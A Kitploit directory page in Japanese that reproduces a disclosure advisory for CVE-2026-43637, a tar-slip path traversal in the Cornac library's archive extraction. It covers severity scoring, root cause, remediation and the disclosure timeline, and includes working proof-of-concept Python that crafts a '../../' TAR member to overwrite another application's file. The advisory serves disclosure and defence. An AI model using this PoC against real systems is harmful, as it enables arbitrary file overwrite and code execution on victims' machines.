Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-43637-cornac — Cornac の _extract_archive におけるパストラバーサル(Tar Slip)(CVE-2026-43637) | Kitploit
ツール/GitHubGitHub/rahulreddykarne/cve-2026-43637-cornac
脆弱性分析エクスプロイトサプライチェーンセキュリティ学習と教育レッドチーミング
GitHubrahulreddykarne/cve-2026-43637-cornac

CVE-2026-43637-cornac

Cornac の _extract_archive におけるパストラバーサル(Tar Slip)(CVE-2026-43637)

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
131ヶ月前未レビュー
共有

CVE-2026-43637: Cornac の _extract_archive におけるパストラバーサル(Tar Slip)

深刻度: 高(High)、CVSS 4.0 8.8、致命的(Critical)、CVSS 3.1 9.1(CNA である VulnCheck による割り当て)

ベクター(v4.0): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N

ベクター(v4.0): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

影響を受けるバージョン: cornac < 2.6.0

修正バージョン: 2.6.0

CWE: CWE-22(制限付きディレクトリへのパス名の不適切な制限、「パストラバーサル」)

報告者: Rahul Karne および Bharath Kumar Reddy Janumpally

CNA: VulnCheck

公開日: 2026年7月15日


概要

Cornac のデータセットローダーはアーカイブを自動的にダウンロードして展開しますが、 展開処理はアーカイブ内のすべてのパスを信頼していました。

Cornac はレコメンダーシステム向けの機械学習フレームワークです。組み込みの データセットローダーはネットワーク経由でアーカイブを取得し、確認ステップなしで 展開します。cornac/utils/download.py の展開ルーチン _extract_archive() は、 メンバーのパスを検証せずに archive.extractall() を呼び出します。../ シーケンス、 絶対パス、またはシンボリックリンクやハードリンクのエントリを含む TAR アーカイブは、 意図したキャッシュディレクトリの外にある、実行中プロセスが書き込み可能な任意の ファイルシステム上の場所にファイルを書き込みます。複数のローダーが平文 HTTP で 取得するため、ネットワーク上の攻撃者は転送中のアーカイブを悪意のあるものに すり替え、ローダーが呼び出された瞬間に展開させることができます。

影響

攻撃者が完全に制御したパスと内容による任意のファイル書き込み。制約は Cornac を 実行しているプロセスの権限のみです。これは書き込みプリミティブであり、読み取り プリミティブではありません。そのため直接的な情報漏えいはありませんが、任意の ファイル書き込みはコード実行やサービス拒否への確立された経路です:

  • コード実行。 site-packages 内の .py ファイル、シェルのスタートアップ ファイル、またはスケジュールタスクのエントリを上書きすると、次回の import、 シェル起動、ジョブ実行時に攻撃者のコードが実行されます。
  • サービス拒否。 アプリケーション自身のモジュールや設定を上書きすると、 攻撃者の内容に置き換わります。検証済みの PoC では、対象モジュールが import 時に 例外を発生させるものに置き換えられ、アプリケーションは起動できなくなります。 これは一時的なクラッシュではなく、ファイルが復元されるまで永続します。
  • 設定の改ざん。 設定ファイルを置き換えると、データベース接続のリダイレクト、 認証チェックの無効化、設定の注入が可能になります。

影響を受けるのは: cornac < 2.6.0 を使用し、攻撃者が制御または傍受できる アーカイブをダウンロードして展開するデータセットローダーを呼び出すすべてのケース。 ローダーは自動的に展開するため、通常のローダー呼び出し以外のステップは不要です。

影響を受けないのは:

  • 2.6.0 以降を使用しているケース。このバージョンでは展開時にすべてのメンバー パスを検証します。
  • ダウンロードするデータセットローダーを呼び出さないコード、または信頼された チャネル経由で完全に信頼され整合性が検証されたソースからのみアーカイブを 展開するコード。
  • ZIP 入力はこの経路では悪用できません(技術的詳細の注記を参照)。 悪用可能なのは TAR パスです。

影響範囲

メトリック値ソース
全期間のダウンロード数4.1Mpepy.tech/projects/cornac
直近30日間のダウンロード数67.8Kpepy.tech
一般的な用途レコメンダーシステムの研究と教育。データセットローダーがネットワーク経由で自動取得(一部は平文 HTTP)フレームワークに内在

技術的詳細

根本原因

cornac/utils/download.py の _extract_archive() は、ZIP と TAR の両方の入力を 1つのコードパスで展開し、TAR の場合にはパスチェックなしで extractall() を 呼び出します:

# cornac/utils/download.py — _extract_archive(), lines 50-71 (v2.3.5)
def _extract_archive(file_path, extract_path="."):
    """Extracts an archive."""
    for archive_type in ["zip", "tar"]:
        if archive_type == "zip":
            open_fn = zipfile.ZipFile
            is_match_fn = zipfile.is_zipfile
        elif archive_type == "tar":
            open_fn = tarfile.open
            is_match_fn = tarfile.is_tarfile

        if is_match_fn(file_path):
            with open_fn(file_path) as archive:
                try:
                    archive.extractall(extract_path)   # <-- no member-path validation
                except (tarfile.TarError, RuntimeError, KeyboardInterrupt):
                    if os.path.exists(extract_path):
                        if os.path.isfile(extract_path):
                            os.remove(extract_path)
                        else:
                            shutil.rmtree(extract_path)
                    raise

メンバー名に制約はないため、../../somewhere/file というメンバーは extract_path の外に解決され、そこに書き込まれます。

呼び出しチェーンはローダー呼び出しから完全に自動です:

cornac.datasets.<name>.load_feedback()
    -> cornac.utils.download.cache()            # downloads via urllib.request.urlretrieve
        -> cornac.utils.download._extract_archive()
            -> tarfile.extractall()             # writes attacker-named paths

TAR パスが特に問題となる理由

Python の zipfile は展開時に ../ シーケンスをサニタイズするため、この同じ 関数の ZIP ブランチは現代の Python では悪用できません。Python の tarfile は メンバーパスをサニタイズしません(3.12 より前、およびそれ以降も明示的な フィルタを使用した場合のみ)。Cornac は両方の形式を同一の extractall() 呼び出しに 通すため、ZIP ブランチは安全で、TAR ブランチは同じ行を通じて完全に悪用可能です。 この非対称性は、コードが2つの形式で一様に見えるために見落とされやすいのです。

ネットワーク経由の配信

Cornac は urllib.request.urlretrieve() でダウンロードし、証明書のピン留めも アーカイブの整合性チェックもなく、複数の組み込みローダーが http:// URL を 使用します。ネットワーク上の攻撃者は平文 HTTP ダウンロードを傍受して悪意のある TAR を返すことができ、上流サーバーを侵害する必要はありません。そのため、 このベクターはリモートであり、ローダー呼び出し以外のユーザー操作を必要としません。

悪用の前提条件

攻撃者に必要なもの:

  1. cornac < 2.6.0 を使用するターゲット。
  2. ターゲットがアーカイブをダウンロードして展開するデータセットローダーを呼び出すこと。
  3. アーカイブ内容の制御。ローダーが取得する上流を運用するか、転送中の平文 HTTP ダウンロードを傍受するかのいずれか。

ターゲット上の権限や、ローダー呼び出し以外のユーザー操作は不要です。

概念実証(PoC)

以下は、実際の未改変パッケージに対して、Cornac 自身の _extract_archive を直接 呼び出して実行したものです。

脆弱なバージョン(2.3.5)。 ../../ メンバーを含む TAR がキャッシュディレクトリに 展開され、そのメンバーはディレクトリの外に到達して、別のアプリケーションに属する ファイルを上書きします:

import cornac.utils.download as d
import io, os, tarfile, tempfile

base   = tempfile.mkdtemp()
cache  = os.path.join(base, "cornac_scope", "cache"); os.makedirs(cache)
victim = os.path.join(base, "victim_scope", "webapp"); os.makedirs(victim)
open(os.path.join(victim, "app.py"), "w").write("def run():\n    return 'healthy'\n")

mal = os.path.join(base, "malicious.tar.gz")
payload = b"raise ImportError('victim destroyed by tar slip')\n"
with tarfile.open(mal, "w:gz") as tf:
    ti = tarfile.TarInfo("../../victim_scope/webapp/app.py"); ti.size = len(payload)
    tf.addfile(ti, io.BytesIO(payload))

d._extract_archive(mal, cache)      # Cornac's real function, cache dir as target

検証結果:

victim app.py BEFORE : def run():  return 'healthy'
victim app.py AFTER  : raise ImportError('victim destroyed by tar slip')

benign file landed inside cache scope : True
victim file OVERWRITTEN outside cache : True

良性のメンバーは期待どおりキャッシュ内に書き込まれ、../../ メンバーは別の アプリケーションのディレクトリに書き込まれ、そのアプリケーションを import すると 失敗するようになりました。

完全な攻撃デモ。 このリポジトリの poc_exploit.py は、 完全なチェーンをエンドツーエンドで実行します:攻撃者の HTTP サーバーが悪意のある TAR を配信し、Cornac の cache() と _extract_archive() の呼び出しチェーンを 再現するローダーが単一の load_feedback() 呼び出しから自動的にダウンロードして 展開し、別のアプリケーションのディレクトリ内の2つのファイルが上書きされます。 脆弱な _extract_archive() は Cornac のソースからそのまま使用されています。

修正版(2.6.0)。 同じトラバーサルアーカイブは、何も書き込まれる前に拒否されます:

ValueError: Blocked path traversal attempt in archive: ../victim/app.py
victim app.py after: def run():  return 'healthy'   (unchanged)

デモを見る

対策

cornac 2.6.0 以降にアップグレードしてください:

pip install --upgrade "cornac>=2.6.0"

2.6.0 では、無防備な extractall() を _safe_extract() ヘルパーに置き換え、 os.path.realpath で各メンバーパスを解決し、展開ディレクトリ内に留まらない ターゲットをすべて拒否します。また、通常のファイルとディレクトリのみを許可し、 シンボリックリンク、ハードリンク、デバイスエントリをブロックします。

すぐにアップグレードできない場合: 信頼できない、または平文 HTTP のチャネルで ダウンロードするデータセットローダーを呼び出さず、制御できないソースからの TAR アーカイブを展開しないでください。HTTPS での取得は転送中の傍受リスクを減らしますが、 悪意のある、または侵害された上流からのリスクは除去されません。

CVSS スコアについて

CNA である VulnCheck は、CVSS 4.0 で 8.8(高) を割り当てました (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N)。

  • AV:N: 悪意のあるアーカイブはネットワーク経由で配信され、複数のローダーが 整合性チェックなしで平文 HTTP により取得します。
  • AC:L: トラバーサル TAR の作成は簡単で、攻撃はすべての呼び出しで決定的に 機能します。
  • PR:N: 攻撃者はターゲット上のアカウントや足場を必要としません。
  • UI:N: ローダーは自動的にダウンロードして展開します。単一のローダー呼び出しが 確認ステップなしでチェーン全体をトリガーします。
  • VC:N: プリミティブは書き込み専用であるため、機密性への影響は該当なしと されています。
  • VI:H / VA:H: 攻撃者は書き込む内容を完全に制御し、プロセスが書き込める ファイルを破壊できるため、影響を受けるシステムの整合性と可用性への影響は高い。
  • SC:N / SI:N / SA:N: CNA は、影響を脆弱なシステムの権限範囲内に限定し、 別個の後続システムには及ばないと評価しました。

CNA が割り当てた 8.8 が、この問題の公式な数値です。

開示スケジュール

日付イベント
2026年5月3日脆弱性を特定
2026年5月4日報告(調整済み開示)
2026年7月14日修正をマージ(PR #709、コミット 8a50be7)
2026年7月15日修正版 2.6.0 をリリース
2026年7月15日VulnCheck が CVE-2026-43637 を公開

クレジット

Rahul Karne(セキュリティ研究者、IEEE シニアメンバー)と Bharath Kumar Reddy Janumpally によって発見・報告され、VulnCheck を通じて 調整されました。Rahul の関連する開示には、CVE-2026-65321(PyAthena の SQL インジェクション)と CVE-2026-63720(datamodel-code-generator のコード インジェクション)があります。

連絡先: [email protected] · GitHub: rahulreddykarne

参考情報

ツールをダウンロード